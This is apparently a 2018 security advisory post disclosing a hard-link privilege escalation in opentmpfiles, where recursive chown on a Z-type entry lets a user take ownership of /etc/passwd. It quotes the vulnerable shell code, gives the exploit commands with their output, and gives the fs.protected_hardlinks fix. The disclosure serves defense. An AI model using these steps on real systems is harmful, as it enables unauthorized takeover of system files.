posted 2018-02-14
The opentmpfiles program implements the
tmpfiles.d
specification for POSIX systems that do not run systemd. When
processing a Z
type entry, opentmpfiles calls
chown recursively to change ownership of
the target directory and its contents. An attacker can introduce a
hard link into that directory pointing to a sensitive file, and the
next time that opentmpfiles is run,
ownership of the hard link's target will be given to the attacker.
The specification for the Z
type tmpfiles.d entry
implies some type of recursive chown:
Z
Recursively set the access mode, group and user, and restore the SELinux security context of a file or directory if it exists, as well as of its subdirectories and the files contained therein (if applicable). Lines of this type accept shell-style globs in place of normal path names. Does not follow symlinks.
In opentmpfiles, this is implemented in the tmpfiles script:
_Z() {
# Recursively set ownership, access mode and relabel security
# context of a path and all its subdirectories (if it is a
# directory). Lines of this type accept shell-style globs in
# place of normal path names.
[ $CREATE -gt 0 ] || return 0
CHOPTS=-R relabel "$@"
}
relabel() {
...
if [ $uid != '-' ]; then
dryrun_or_real chown $CHOPTS "$uid" "$path"
x=$?
if [ $x -ne 0 ]; then
status=$x
fi
fi
...
}
dryrun_or_real() {
local dryrun=
if [ $DRYRUN -eq 1 ]; then
dryrun=echo
fi
$dryrun "$@"
}
Ultimately, the target of the Z
-type entry has
chown -R called on it. By default,
chown will refuse to follow symlinks when
operating recursively; however, hard links are another story. Unless
some (nonstandard) kernel-level protection is enabled, unprivileged
users are free to create hard links to root-owned files, and
chown will follow them.
This is straightforward to exploit as the user who owns the target
of a Z
type entry. Take for example the following
tmpfiles.d entry, in
/etc/tmpfiles.d/exploit.conf:
When opentmpfiles is run, ownership of that directory is given to my mjo user:
mjo $ sudo /etc/init.d/opentmpfiles-setup start
mjo $ ls -ld /var/lib/opentmpfiles-exploit
drwxr-xr-x 2 mjo mjo 4096 Feb 13 18:38 /var/lib/opentmpfiles-exploit
At that point, I'm free to introduce whatever hard links I want,
mjo $ ln /etc/passwd /var/lib/opentmpfiles-exploit/x
and then restart opentmpfiles (which would happen after a reboot, anyway):
mjo $ sudo /etc/init.d/opentmpfiles-setup restart
The chown -R follows my link, and afterwards I own /etc/passwd:
mjo $ ls -l /etc/passwd
-rwxr-xr-x 2 mjo mjo 1504 Feb 13 19:15 /etc/passwd
On Linux, the fs.protected_hardlinks
sysctl should be enabled:
root # sysctl --write fs.protected_hardlinks=1
The opentmpfiles project is dead. If you're lucky, the systemd tmpfiles implementation will run on your system: it's more portable than it was, but still not as portable as the rest of OpenRC. On Gentoo, sys-apps/systemd-tmpfiles can be built and installed separately.